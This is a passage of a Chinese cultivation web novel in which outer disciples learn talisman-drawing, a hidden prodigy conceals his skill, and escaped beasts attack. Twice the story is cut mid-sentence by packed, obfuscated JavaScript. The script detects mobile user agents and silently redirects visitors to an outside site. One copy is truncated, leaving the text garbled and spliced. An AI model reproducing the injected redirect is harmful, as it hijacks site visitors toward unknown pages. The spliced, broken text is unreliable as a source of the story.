“修行之道，浩瀚如海，并非只有一味苦修灵力，修者有剑修，符修，药修，丹修......各有所长。修士需根据自身天赋与心性，选择适合自己的道路，方能事半功倍。” “今日，便让你们初步接触其中一门——符修之道。” “符箓，以特殊符文引动天地灵气，封存于符纸之上，使用时以灵力激发，可产生种种奇妙效果。今日，便教你们绘制最简单的一种，护身符。此符成功绘制后，能自动抵消一次最基础的物理或灵力冲击，虽效用微弱，却是入门首选。” 师兄仔细讲解了绘制护身符所需的笔法、灵力的灌注要点以及注意事项，随后便分发下最低等的符纸和朱砂，让众人自行尝试。 一时间，讲堂内安静下来，只听得见笔尖划过符纸的沙沙声。 云清徽凝神静气，照着之前师兄教的依样画葫芦在符纸上刻画。 等到最后一笔落下，他笔下那张看似平平无奇的黄色符箓，竟蓦地散发出了一层极其淡薄、却稳定而纯净的幽光！ “嗯？”台上正在巡视的师兄立刻察觉到这细微却成功的灵气波动，惊讶地快步走了下来，拿起云清徽桌上的符箓仔细查看，脸上露出赞许之色： “灵力灌注均匀，符文勾勒精准，一次成功！很好！你于制符一道，颇有天赋。” 众人都惊讶地忘了过来，云清徽自己也是微微一怔，看着那发光的符箓，眼中掠过一丝难以置信。 他主修音律，为了以防万一，略懂丹药，但对制符一途可谓毫无涉猎，因此他方才制符时心无旁骛，完全沉浸其中，因为他觉得自己不可能一次就成功！ 好消息是，他有天赋。 坏消息是，这算好消息么？ 云清徽看着一旁一双亮晶晶的眼睛，向自己投来惊叹和崇拜目光的石蛰，颇觉头疼。 “啊！” 一道惊呼忽然打破这边气氛，只见陆铃兰震惊地捂住了自己的嘴，她案桌上黄色符箓，同样漾起了一层淡淡的光晕，看颜色，似乎比云清徽得还纯一点，浓一点。 师兄大步走向她，拿起符箓，眼中露出赞赏光彩。 “不错，非常不错。” “你叫什么名字？” “我是陆铃兰！” “嗯。”师兄点点头，又看向云清徽：“你呢？” “我叫云磬。” 师兄颔首，不再言语。 下课之后，性格开朗活泼的陆铃兰立刻被一群女弟子围住，七嘴八舌地讨教经验。而云清徽这边，则因他平日性情清冷，众人虽羡慕，却也不敢贸然上前打扰。 石蛰和陆知棠可不管这些，笑嘻嘻地凑过来。 “行啊云磬！深藏不露，一次就成功，太厉害了！” “说不定你和铃兰能成为内门弟子呢！” “到时候可别忘记同甘共苦的兄弟......” 今天课堂上二人表现果然引起了注意，晚间时候，吃完饭，来了一个仆从将云清徽和陆铃兰带走。 路上，陆铃兰紧张得手心冒汗，忍不住凑近云清徽，压低声音悄悄问：“云磬你说，是谁要见我们啊？” “反正是门派内的人，或许，是觉得你我有制符天赋，想考验我们呢。” 情理上来说，应是如此。 “这样的话就最好了。”陆铃兰闻言，立刻松了口气，脸上又重新绽放出光彩，很快便沉浸在飘飘然的遐想之中。 在她单纯的构想里，确实是某位内门师兄或是长老听说了她的天赋，特意前来考验。而她不负众望，成功绘制出了更复杂的符箓，通过了考验。然后以“符道新一代天才”的名头冠绝同辈，被内门长老收为亲传弟子，获得无数修炼资源，万众瞩目，前程似锦……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396579|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她越想越开心，嘴角抑制不住地上扬，云清徽在一旁看着她毫不掩饰的喜悦和憧憬，并未出言打断，只是安静地走着，月光将他侧脸的轮廓勾勒得有些模糊不清。 仆从将他们引至一处更为雅致的偏殿，殿内立着雕花灯盏，散发着柔和稳定的光芒，空气中弥漫着淡淡的檀香气息。 殿内，一名约莫二十来岁的年轻女子早已等候多时。她穿着月白色的袍子，袖口和衣襟处用银线绣着流云暗纹，在灯光下隐隐流动，容貌清秀，未施粉黛，一头青丝用一根簪子简单地绾在脑后。 青云山弟子不同制服代表了不同等级，如杂役仆从多是灰色粗布短打，他们外门弟子是青色短打，如张逸师兄这般是青色长袍，布料就好看许多，更高阶的则是月白色袍子，就如眼前人。 云清徽，陆铃兰连忙道：“见过师姐。” “嗯。” 那女子微微颔首，道：“我姓林，听闻你二人今日初学制符，便一次成功绘出了护身符？” “是。” 林师姐眼中闪过一丝兴趣：“我专修符箓一道，今天听说了这件事，来考考你们。白日那护身符过于基础，看不出太多门道。现在，我教你们两种稍难些的符箓——护盾符与火球符。” “第一道是火球符。” 她并不多言，直接取来符纸朱砂，一边演示，一边清晰讲解两种符文的笔画顺序、灵力灌注的轻重缓急以及关键要点。她的讲解远比白天的师兄更为深入精妙，许多关窍之处一点即透。 讲解完毕，她便让两人各自尝试绘制。 云清徽心中已有计较，上午的成功实属意外，全是因他自己太过松懈，他并不欲惹人注目。于是这回他刻意控制着指尖的灵力，让其显得杂乱而不够专注，在绘制关键符文时，“不小心” 让灵力输出出现细微的偏差和断续。 待他画完最后一笔，桌上的符箓毫无光泽，死气沉沉，显然是一张失败的废符。 林师姐目光扫过，眼中流露出几分失望，但她并未多言，只是淡淡点了点头，随即看向另一侧的陆铃兰。 陆铃兰此刻也正好落下最后一笔，额角甚至沁出了细汗。她紧张地看着自己绘制的火球符——符纸静静躺着，没有散发白天那样的荧光。 她的小脸顿时垮了下来，失望之情溢于言表。 “莫急。”林师姐走到她身边，语气缓和了许多： “不是所有符都会在成功后散发光芒的，两者灵气流动方式不同。你看——” 师姐拿起符，手指动了动，那符腾地燃起一团橘红色的火球，竟赫然自燃了起来。 “你看，成功了。” 陆铃兰顿时瞪大了眼睛，惊喜万分。 一旁云清徽也不由侧目。 他虽是第一次制符，但本身灵力充沛，外加接触过许多符箓，而陆铃兰是真正意义上的第一次接触，竟能一次成功，可见其在符道上的天赋相当不俗。 林师姐脸上也露出了满意的神色，点了点头：“不错，来，我再教你护盾符。” 8. 音修 最后的护盾符稍显难度，陆铃兰也是试了两次才成功，她做的护盾符只能抵挡师姐轻轻一下攻击，薄得跟纸糊的一样。 也不知道是厉害还是不厉害，不过看师姐模样，似乎还是很满意的。 两人在偏殿待了一个多时辰，才回去。 回去的路上，陆铃兰依旧沉浸在兴奋之中，脸颊红扑扑的，压抑不住喜悦地絮絮叨叨说着方才的经过还有林师姐如何如何高雅，气质优雅，本事强大，温柔耐心，简直就是仙女中的仙女，师门中的典范！ 但很快，她想起云清徽两次尝试都“失败”了，脚步不由得慢了下来，脸上露出歉疚和不安的神情。 “云磬，那个，你、你别难过，可能是刚刚状态不好……”她磕磕绊绊地试图安慰，但似乎不精于此道，一直支支吾吾。 云清徽看着她涨红的脸，不觉莞尔，他低声一笑，故作潇洒地说： “无妨，或许我之天赋，确不在此道，师兄不是还要教我们其他修行方法嘛，可能我的天赋在别处呢。” 陆铃兰观察他的神色，见确实没有失落之色，才重新变得雀跃起来。 “是啊是啊，一定是你精通的东西在别处！” “......” 两人被带走时就在外门弟子中掀起了不小的风浪，此刻一回来，立即被焦急等待的众人团团围住，七嘴八舌地追问： “如何如何？” “你们见了谁？做了什么？” 云清徽不善言辞，将机会让给陆铃兰，陆铃兰立刻将二人进入偏殿，见着林师姐后种种经过都详细讲述给大家听。 一番陈述后，众人喧哗： “哇，铃兰你太厉害了，连内门师姐都对你刮目相看，你说不定能进内门！” “铃兰铃兰，你千万别忘了我。” “......” 云清徽从人群里挤出去，趁着大家都围着陆铃兰回了屋子，石蛰和陆知棠对视一眼，跟了上去。 “你们跟着我干嘛？”云清徽奇道： “我可是失败了的。” 陆知棠：“没听过么？勿以成败论英雄。” 云清徽语气平和地问：“那以什么论？” “......” 石蛰：“对这个世间的贡献？” 云清徽忍不住笑了出来，在这一个多月的短暂相处中，他已经发现这位“龙傲天”确实是个天真淳朴的好少年，若他成为天道之子，自己倒也不是很有意见，只是—— 他无法接受自己的命运被几张纤薄的纸定好，就算要让他认“命”，也必须先让他知道这“命”确实不能改！ ...... ...... 那之后的一段时日，负责教导的师兄师姐们又陆续让他们接触了其他一些基础的修行分支。如炼丹，制药，画阵，占卜...... 经过这段时间的相处，外门弟子们与这些时常来授课的师兄师姐关系亲近了不少，胆子也渐渐大了起来。 这日课程结束，一名弟子好奇地发问：“师兄，为什么我们学了这么多，却从来没有见过音修的师兄师姐来授课呢？” 今日负责教导的是一位面容略显严肃的师兄，闻言皮笑肉不笑地扯了下嘴角，扫视了一圈众人： “音修？呵，音修岂是那么容易的？寻常修士引动天地灵气，或靠法诀，或靠符箓阵法。而音修，则需精通音律，将自身灵力融入乐曲音符之中释放。其对音律的理解和造诣越深，施法威力越大。” 他语气带着几分嘲弄：“怎么，你们之中有谁自幼习琴弄箫，精通乐理？若有，我现在便可向音修师兄姐引荐你们试试。否则，难道要从认谱子、学宫商角徵羽开始教起了。” 台下弟子大多出身寻常，甚至贫寒，温饱尚是问题，何来闲钱与闲暇去学习那风雅昂贵的音律，闻言顿时面面相觑，连连摇头。 那师兄见状冷哼一声：“既然无人有此底蕴，那便安心学好眼前的东西，莫要好高骛远。散了吧！” 课程结束后，石蛰照例先去痛快地洗了个澡，洗净一身疲惫。出来后却发现四处找不到云磬的身影。他想起云磬似乎格外偏爱后山那处瀑布清潭，便猜测他或许又去那边沐浴了，便向后山走去。 还未靠近瀑布，一阵清越悠扬的乐声便随风飘来，钻入耳中。 石蛰循声望去，只见竹林掩映间，一道熟悉的身影正静静伫立，青年穿着熟悉的青色短打，墨色长发随风轻扬，夕阳余晖之下，他饱满的额头像是吸了一层晶莹剔透的蜜糖，远观有种赏心悦目的柔软。 正是云磬。 他手中并未持任何乐器，只是随意摘取了一片细长的竹叶，将其抵在唇边。唇瓣每一轻颤，一串动听悦耳的音乐便随之响起。 石蛰不觉放轻了脚步，屏息聆听。他不懂音律，却也能听出乐曲中的美妙活泼。 直到一曲终了，余音袅袅散去，他才回过神来，忍不住用力鼓掌，快步上前，真心赞叹道： “云磬，你吹得真好听，没想到一片叶子都能让你吹出这么美的调子。” “说不定，你很适合当音修呢！” 云清徽淡淡一笑，并未应声，只是将叶子轻轻一抛，竹叶在风中打了个旋，最终回归竹林。 石蛰早已习惯他这般偶尔的沉默，也不在意，自顾自地往下道：“我老家那里，只有一家乐馆，偶尔我会喊去打杂，就会看到二楼有位乐师抚琴演奏。” 他努力比划着，试图将自己记忆中那乐器的模样描述清楚： “那是个长长的、扁扁的木盒子，通体刷着深红色的亮漆，上面还有花儿鸟儿的图案，特别好看。一头是宽的，一头是窄的，琴身中间还有一个个小柱子连接着弦......弹奏的时候声音叮叮咚咚的，像是下雨一般。” 云清徽道：“那是瑶筝。” “那叫瑶筝么？”石蛰忍不住露出向往之色。 “那云磬你会弹奏瑶筝么？” “会一点。” 石蛰真心实意，不带一丝嫉妒地道：“云磬，你果真和我不一样。” 云清徽只淡笑不语，过了少许，他道：“我还要洗澡。” “啊？哦，那我先回去了，你也早点回来，山里冷，别洗太久。” “知道了。” 石蛰很快离开，等确认石蛰气息从山间消失后，云清徽指尖轻轻抚过自己腕部内侧，一道极淡的浅金色符文如同活物般骤然浮现，流转着微光。他手腕随即看似随意地向前一探，做抽取状，下一刻，一把古韵盎然的木琴便凭空出现在他双臂之间。 那琴通体呈现出深邃温润的栗紫色，光泽内蕴，琴面以 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众人纷纷冲进山里。 陆铃兰大吼大叫：“我要给那些猴子好看！” 陆知棠跟随其后，不怎么有信心：“我感觉自己没进步多少啊，石蛰你呢？” “我？啊，我，还好。” 话音刚落，他眼前一闪，是云清徽从枝头跃了出去。 陆知棠惊讶道：“他怎么跑这么快？” “是啊......” 云清徽这些日子混杂于外门弟子之中，每日重复着在他看来宛若儿戏的简单吐纳和粗浅修行，行动处处受限，毫无自由可言。他早已习惯高强度修炼的身体和灵魂，都在无声地叫嚣着对自由的渴望。 因此一入山林，感受到四周蓬勃的生野之气，他便决定难得解放一会。就算不能动用超出常理的灵力，仅仅依靠肉身的力量，跳来跳去，跑来跑去，总没有问题了吧？ 他身形微动，几个轻巧如灵猫般的纵跃，便迅捷地掠过了崎岖的地面，身影很快消失在茂密的林木深处。 石蛰看着很快就消失在密林中的云磬，眼底流露出不服输的光芒，他冲着后面大喊了一声：“我也要上了！” 说罢，几个纵跃，消失在众人眼前。 “这两家伙......” 余下众人也信心满满地冲入山林，各自寻找目标。 初入山林时，大家都可以自己经过一段时间修行，必定长进许多。 然而，现实很快给了他们沉重一击，朴实的外门弟子很快成了猴子大王的玩具。 林子里不时响起弟子们的哀嚎以及从空中被踹倒在地的“砰砰”声，夹杂着猴群得意的叫声，一时间好不热闹。 “哎呀，这些猴子怎么还是这么快？” 陆铃兰追着一只朝她做鬼脸的猴子，沿途看到同门们的惨状，不由揉了揉被树枝刮到的手臂。她现在一心扑在符箓上，虽然基础课程还没结束，但已是众人心目中（包括她自己）预定的符修苗子，对于这种需要体力和身手的较量，并不十分热衷，也无心争强好胜。 她心里嘀咕着，就算拿不到铃铛至多被罚晚饭，应该不会被赶出青云山的吧？ 9. 第二次设计 石蛰追入密林，他有意测试自己这两个月来的真实进步，特意选择了远离人群的方向。 他凝神静气，心中默念吐纳心法，双耳在风中微动，清晰地捕捉到左前方数丈外，一只棕毛灵猴轻盈地从一根粗枝跃向另一根细枝时，细枝发出的轻微弯折声，那个声音正在快速朝自己移动。 “这边！”他心中低喝，猛地发力前冲，脚下在盘虬的树根上一点，身体如离弦之箭般射出，同时伸手疾探，五指如钩，直抓向那猴子即将落足的一根横杈！ 然而，就在他的指尖即将触碰到树枝的瞬间，那猴子竟仿佛早有预料，长尾巴灵巧地一卷，勾住了更高处的一缕藤蔓，身体在空中硬生生划出一道诡异的弧线，不仅避开了石蛰的扑抓，反而顺势荡到了他的侧后方，还趁机用后爪蹬了一下石蛰刚刚抓空的胳膊！ 石蛰在空中预料到了它的动作，然而他至半空，来不及躲闪，还是被它踹了一脚。 力道不大，侮辱性很强。 “吱吱！”猴子落在不远处的树枝上，转过身来，抓耳挠腮，对着石蛰发出得意的叫声，仿佛在嘲笑他的徒劳。 石蛰毫不气馁，这一次主动出击，然而还是被躲过。 这些猴子生于灵气充沛的青云山，几十甚至上百年间，早已将这片山林的一草一木、每一根藤蔓的韧性、每一处可供借力的凸起，都融入了本能之中。更是在与历代青云弟子“斗智斗勇”中，积累了丰富的经验。 要修行，称得上是石蛰的师兄。 石蛰这两个月的进步固然显著，但在经验的积累、时机的把握以及速度上，依旧和他的“猴师兄”存在着巨大的差距。 看着吱吱吱冲石蛰挑衅的猴子，他眼底燃起了不服输的火苗。 —— 一个时辰后，众人重新聚集，一个个衣衫不整，身上满是错落爪痕，模样比上次更加狼狈。 张逸傲慢地扫视过众人，嘴角带着毫不掩饰的讥诮：“如何？铃铛呢？有多少人拿到了？” 众人伸出手，二十三人中只有石蛰，陆知棠，王鹏，以及另外两个平日表现较为出色的弟子拿到了铃铛。 云清徽微垂着脑袋，他早已料到，区区两个月，这些弟子不可能有很大进步，拿不到铃铛才是常态，是以，他也拿不到。 他余光瞥见石蛰手中那枚微微晃动的铃铛，他倒是进步了不少。 张逸对这个结果毫不意外，冷嘲热讽了几句，倒也并未深究。 “现在，全员跟我去瀑布那边！” 张逸将众人带到水流湍急的瀑布下。 “全都下去，站到瀑布下面！” 此时已是五月，天气渐暖，众人对下水并无太多抵触，心中不以为意。然而，当他们真正踏入瀑布下的水潭，猛烈水流砸在他们身上，才脸色大变！ 那水流冰冷刺骨，远超山涧普通溪水的温度，带着一股难言的寒气，巨大的冲击力如同无数沉重的拳头持续不断地砸在头顶、肩膀和背部，几乎让人站立不稳，呼吸都变得困难，随时都会被冲垮、吞噬！ 张逸看着众人龇牙咧嘴的模样，甚是满意地道： “修行者不只要，还要强健的体魄，你们都给我站稳了，站满一炷香为主，提前倒下的再加一炷香！” 闻言，众弟子们只得咬紧牙关，苦苦支撑。 石蛰站在冰冷狂暴的水流中，每一秒都被无线拉长，肌肉因寒冷和冲击而剧烈颤抖，骨头都在嘎吱作响。原来这瀑布这么冷。 倏忽，他想到了一件事。 那晚云磬就是在这里沐浴，他当时是怎么坚持下来的？ 他下意识扭头看向一旁云磬，瀑布磅礴水汽遮掩着青年的脸庞，只依稀看见他唇色惨白，被水流彻底打湿的墨发黏贴在他光洁的额角和颈部，显得皮肤愈发苍白，身形摇摇欲坠。 石蛰看着他被瀑布冲刷的羸弱身体，心中闪过一丝担忧，随即想，该是看错了，说不得他只是站在水潭里，没有暴露在瀑布中。 紧接着，他只能依靠心决吐纳抵挡这股寒意和巨大的压力，再无力思考其他。 一炷香的时间漫长如同熬刑，当岸边的香终于燃尽最后一缕青烟时，瀑布下的众人几乎是用尽了最后一丝力气，才互相搀扶着、踉跄着从冰冷刺骨的水幕中挣扎出来。 一上岸，便如同被抽走了骨头般，瘫软在地。 张逸抱着手臂，嫌弃地看着地上横七竖八、狼狈不堪的弟子们，正要开口呵斥，一名内门弟子神色紧张地飞奔而来，迅速附在张逸耳边低语了几句。 张逸脸上的倨傲瞬间消失，脸色骤然难看。 石蛰脑袋里还在嗡嗡作响，只模糊看到那边似乎发生了什么紧急情况，却听不清具体内容。一旁原本闭目调息的云清徽却忽然抬了抬眼，眸光深处闪过一丝极淡的锐利。 另一头，收到消息的张逸强压下眼中的焦灼，转向地上瘫倒的弟子们，大声吼道：“都起来！快！立刻跟我回去！” “啊？”众人发出哀嚎，他们体力早已耗尽，此刻连站起来的力气都没有，更别说快速赶路了。 “快起来！这是命令！”张逸急声催促，语气带着前所未有的严厉。 来不及了——云清徽掩下眼底的冷光，目光投向山林深处。 “什么声音？”这时，也有耳尖的弟子听到了异响。 只见一个巨大的黑影正以极快的速度从空中逼近，那东西身形如鸡，却长着狰狞的肉翼和老虎一般的利爪，口中发出刺耳的尖啸！ “那是什么东西？！”有弟子吓得尖叫起来。 方才那师兄向张逸报告的，正是后山第二层禁地结界不知为何被破，有数头凶兽跑出的消息！青云山灵气充沛，山中自然有许许多多凶兽存在，根据其危险程度被不同等级的结界分隔，唯有修为达到一定程度的弟子方可入内历练，否则凶多吉少。 张逸脸色铁青，朝着一名还算镇定的师弟大喊：“快去请师尊！快！” “那师兄呢？” “我在这里坚持片刻，快去！” 那师弟不敢耽搁，转身拼命向宗门方向跑去。 “结阵！”张逸对余下的两名师弟吼道。 三人迅速靠拢，手掐法诀，灵力涌动，勉强撑起了一张半透明的防护光罩，将大部分弟子护在身后。 光罩刚成，那飞翼凶兽便猛地撞击上来！ “砰！”光罩剧烈晃动，但并未破裂。凶兽被反震之力弹开，发出一声愤怒的咆哮。 一个女修吓得紧紧抓住身旁陆铃兰的衣服，声音颤抖：“铃兰，我们……我们会死在这里吗？” 我、我不知道哇！ 察觉到危机，石蛰不知从哪里生出一股力气，努力站了起来，上前半步，挡在了几位吓得无法动弹的同门身前。 云清徽睨了他一眼，沉默不语。 那飞翼凶兽又撞击了防护罩几次，未能成功，它忽然仰头发出一声更加尖锐悠长的吼声。 张逸脸色再变：“不好！” 紧接着，山林中又传来数声应和的嘶吼，另外几个大小不一的黑影迅速从不同方向逼近！ 更多的凶兽开始疯狂撞击防护罩，在接连不断的重击下，本就勉强的光罩终于不堪重负，发出一声脆响，骤然破裂！ 张逸和两位师兄受到阵法反噬，齐齐闷哼一声，后退数步，嘴角溢出鲜血。 三人抽出长剑，迎了上去。 混乱之中，一只凶兽从空中俯冲下来，利爪直抓向一个吓瘫在地、动弹不得的弟子。石蛰眼疾手快，猛地扑过去，一把将那人拖曳了回来。 另一边，云清徽身影微动，看似只是慌乱地后退，却恰好将一个差点被凶兽扫到的弟子拽了回来。 他一边救人一边留神观察，他看得出来，张逸几人修为至多筑基初期，根本不是这些凶兽的对手。此刻凶兽只是碍于与高阶弟子战斗的过往，尚未摸清这几人的底细，不敢肆意出手。 一旦让它们察觉这些人实力低微，毫无威胁，此地顷刻间便会血流成河。 这些凶兽名为朱鬿，性喜食肉，嗅觉极其灵敏，而其弱点在于…… 云清徽的手指悄然抚过自己腕口内侧，一张材质特殊、绘制着玄奥符文的紫色符箓在他指尖骤然无声浮现。他指尖微不可查地一震，那符箓瞬间化为齑粉，一道人的鼻子难以捕捉的气味随风悄然散开。 此时，张逸带来的两位师弟都已挂了彩，唯独张逸还在苦苦支撑，但也被逼得险象环生。一只朱鬿找准机会，利爪带着腥风直抓向张逸面门！ 张逸瞳孔骤缩，已是避无可避 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那朱鬿吃痛，猛地发出一声尖锐嘶鸣，兽瞳中的凶光瞬间暴涨，竟不顾那令它不安的残留气息，凭借着剧痛刺激下的凶性，猛地俯冲下来！ 气流连接着朱鬿和石蛰，引导着朱鬿冲向石蛰。 “石蛰小心！” 一旁陆知棠惊呼，但已然来不及。 石蛰只觉恶风袭来，根本来不及反应，他慌忙间只来得及推开同门，自己被一股巨力攫住，双脚瞬间离地！尖锐的爪子深深扣入他的肩胛，剧痛袭来，让他眼前猛地一黑。 “石蛰！！！” 那朱鬿得手后，毫不停留，猛地振翅高飞，抓着石蛰迅速朝着山林深处飞去。 高空之中，冰冷的罡风如同刀子般刮在脸上，肩胛处传来撕裂般的剧痛，利爪几乎要捏碎他的骨头，温热的鲜血不断涌出，染红了衣襟。石蛰的意识因失血和剧痛而阵阵模糊，视野开始发黑，耳边只剩下呼啸的风声。 不能死……绝不能死在这里…… 他凭借着一股顽强的意志力，奋力挣扎，试图掰开那如同铁箍般的利爪，但却徒劳无功。失血过多的寒意不断包裹着他，让他的意识坠入黑暗。 就在他彻底沉入黑暗之际，胸口鲜血低落鸿蒙宝鼎，下一瞬，他眼前彻底一黑，意识被强行拉入了那片熟悉的空间！ “小子，你怎么又搞成这副鬼样子？！”陆通的虚影一看到石蛰意识体的状态，几乎是跳着脚骂了起来：“你又招惹什么了，怎么厄运连连？” 石蛰的意识体虚幻不定，焦急地大喊：“前辈！救命！我被一只长翅膀的凶兽抓住了！” “知道了知道了。”事态紧急，陆通也没空骂他，他通过石蛰的意识感知到了外界情况，飞快道： “是朱鬿！它的弱点是翅根！那里防御最弱！想办法攻击那里！” 石蛰意识再次被挤出空间，这时朱鬿为了避开前方一棵大树，猛地一个侧飞，翅膀末端狠狠刮过树冠！ 咔嚓！ 几根粗大树枝被它扫飞，几乎是本能反应，石蛰用尽刚刚恢复的一丝力气，猛地伸手抓住了其中一根！他用尽力气，将树枝狠狠地捅进暴露在眼前的翅膀根部。 “唳——！！！” 伴随利刃入肉的闷响，是朱鬿凄厉的嘶鸣，飞行关键的翅根受损，朱鬿爪子猛然一松，石蛰的身体就如同断线的风筝般向下急坠！ 石蛰拼命挥舞着手臂，在下坠过程中接连抓住了几根茂密的树枝！ 咔嚓！咔嚓！ 树枝被他的下坠力道压断，缓冲了他坠落的速度和力量！ “咚”的一声厚重的撞击，石蛰重重摔落在厚厚的落叶层上，他猛然喷出一口热血，浑身骨头像被碾碎了般疼痛，但总算侥幸捡回了一条命！ 他艰难地抬头，那只朱鬿发出愤怒而不甘的尖啸，还想要俯冲下来报复，但下方树木太过茂密，它庞大的身躯根本无法钻入，只能在上空盘旋嘶鸣。 石蛰骤然松了口气，然而下一秒，他全身的寒毛瞬间倒竖，本能驱使他往森林黑暗的深处望去，一股邪恶、腥臊的气息不断靠近。 一头体型壮硕、毛发灰黑茂密的巨狼，从阴影中缓缓走出。 10. 血战 “张师兄！”陆知棠冲到张逸面前，脸上满是焦急与恳求：“石蛰被抓走了！求您快去救救他吧！” 张逸脸色变幻不定，就在此时，天际传来一阵破空之声，只见数道剑光如流星般疾驰而来，迅速落在众人面前。 张逸一见来人，眼睛顿时一亮，连忙上前恭敬行礼：“见过师叔，师叔 您们可来了！” 被称作师叔的中年修士微微颔首，目光扫过狼藉的现场和受伤的弟子，沉声问道：“情况如何？可有人员伤亡？” “回师叔，其他人虽有受伤，但并不严重，只有一名外门弟子，不慎被一头朱鬿抓走了。” 一旁的陆知棠立刻扑到师叔面前，噗通一声跪下，哀求道：“师叔！求求您救救石蛰吧！” 师叔伸手虚扶了一下，让陆知棠起来，他的表情依旧平静，看不出太多情绪，只是淡淡道：“既是同门，自是要救的。” 就是救不救得回来，回来时人还活不活着...... 他没有将心底猜测说出，只是道： “张逸，你即刻带其余弟子返回，余下的人，随我入林搜寻！” “是！” 一众青云山弟子持剑入了林中。 陆知棠朝林子里面望了一眼，最终只能跟着回去。 回去的路上，气氛异常沉重，陆铃兰小声地抽泣着：“他们……他们能找到石蛰么？石蛰会平安无事么？” 陆知棠自己心里也七上八下，慌得厉害，也只能强打起精神，用力点头道： “会的，石蛰他福大命大，一定能平安回来的！” 云清徽跟在两人身后一步的位置，低着头沉默不语。 入夜后的山林有多危险，他身为金丹修士不可能不知道，恐怕普通筑基修士也凶多吉少，何况石蛰本就身受重伤。 石蛰，你到底是不是那个无论什么危险都打不倒的“天道之子”？ —— 巨狼龇着牙，涎水从嘴角滴落，泛着绿光的眼睛死死锁定在石蛰身上，那目光中充满了贪婪，石蛰心脏狂跳，挣扎着想爬起来，但浑身剧痛让他几乎无法动弹。 影爪狼低吼一声，四肢发力，如同一道灰色闪电般扑了过来，石蛰几乎是凭着本能，用力向左侧翻滚！ 嗤啦！ 影爪狼的利爪擦着他的肩膀划过，带起几道血痕，深深抓入他刚才位置的地面！ “你小子，命怎么这么不好？还有力气么？” 石蛰艰难道：“有！” “那好，它的弱点是腰腹！你已经没有多少时间了，毕竟尽量攻击它的腰腹。” 看巨狼又要攻击，石蛰完全依靠本能朝边上跑去，剧痛吞噬着他，每一次呼吸都伴随尖锐的嘶鸣，他脑中只有一个念头：就是跑！ 他连滚带爬跑到一棵古树后面，凭借着求生本能，三两下攀上了树干，狼不会爬树，但它有对付树上猎物的办法。 只见它人立而起，强壮的前肢带着惊人的力量，狠狠地拍击在树干上！ 砰！砰！砰！ 巨大的力道震得整棵树都在剧烈摇晃，树叶簌簌落下。趴在树枝上的石蛰只觉得一阵天旋地转，本就被重创的身体根本稳不住，惊呼一声，直接从树上被晃了下来！ “小子！不能直接跌落！”陆通焦急的声音在他脑中炸响： “你现在的身体顶不住这冲击！一旦落地失去行动力，瞬间就会被那畜生撕碎！” 石蛰瞳孔骤缩，求生的本能让他爆发出前所未有的潜力！他猛地伸出手，险之又险地抓住了一根横向伸出的粗壮树杈！同时，两只脚在主干上猛地一蹬，灵力反弹，他借着这股力道，凌空朝着对面另一棵大树的枝干荡了过去！ 与他同时到达那棵树的，还有他手中死死抓着的被他掰断的手臂粗细的坚硬树枝！ “嗷！”巨狼见状，立刻嘶吼着奔来，再次人立而起，准备拍击树干。 石蛰趴在新的树枝上，剧烈喘息，看着下方巨狼，他明白，躲在树上只是延缓死亡，根本逃不掉！ 逃不掉那就不逃了！ 石蛰眼中闪过决绝的光芒，主动从树上跃下，手掌擦过树枝表皮，树皮木屑纷飞，灵力将树枝一端削成一个尖锐的断口，变成了一根简陋木矛！ “好！”陆通赞道：“有魄力！” “孽畜！来啊！” 狼见猎物非但不逃，竟还敢主动迎击，猩红的瞳孔骤然收缩，暴戾之气更盛！血盆大口裹挟着令人作呕的腥风，直扑向凌空落下的石蛰。石蛰毫无惧色，猛地扭转腰身，调整姿态，手中那根尖端粗糙的木矛死死对准了狼喉！ 巨狼猛地甩头，布满倒刺的尾巴如钢鞭破空横扫，千钧一发之际，石蛰非但没被扫飞，反而趁机抓住了狼尾，借着巨狼甩尾的惯性，借力腾空跃上狼背。 巨狼发出愤怒的咆哮，人立而起，庞大身躯轰然撞向树干。石蛰在狼背上被颠得东倒西歪，眼看就要撞上树干，他猛地俯身抱住狼粗壮的脖颈，一个金钩倒挂，身体灵活地向下一翻，钻进了狼的腹部。 腹部是要害所在，巨狼惊觉不妙，想要翻身改变防御姿势，但石蛰好不容易才抓到这绝佳机会，岂容它挣脱？ 他单手握住木矛中部，手掌为刃，将过长尾部直接劈断，剩下的部分变成一把趁手的粗糙木匕首，一下又一下，刺入了柔软的腹部！ “嗷呜——！！！”狼发出了凄厉惨嚎，它猛地翻滚、跳跃、撞击树木，试图将腹下的石蛰甩开或碾死。 一人一狼已至生死关头，石蛰如同附骨之疽，死死抓住刺入狼腹的木桩，越刺越深，几乎整根没入了狼腹，鲜血如同泉涌般汩汩流出，还夹杂着些许内脏的碎片。 狼逐渐不再挣扎，咆哮化为哀鸣，最终，它庞大的身躯猛地抽搐了几下，轰然倒地。 而石蛰也脱力地摔在了地上，感受到身下的巨狼彻底失去了生机，石蛰那根紧绷到极致的神经骤然松弛。 一直支撑着他的那股狠劲和求生欲如同潮水般退去，取而代之的是排山倒海般袭来的剧痛，眼前景物模糊旋转，耳中嗡嗡作响，他的生命力正在快速流逝。 他不敢昏迷，拼命维持着最后一丝清醒，再次将意识沉入鸿蒙宝鼎。 “小子！撑住！快运转功法！能吸收多少是多少！” 石蛰的意识在鼎内贪婪地汲取着灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396582|184302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 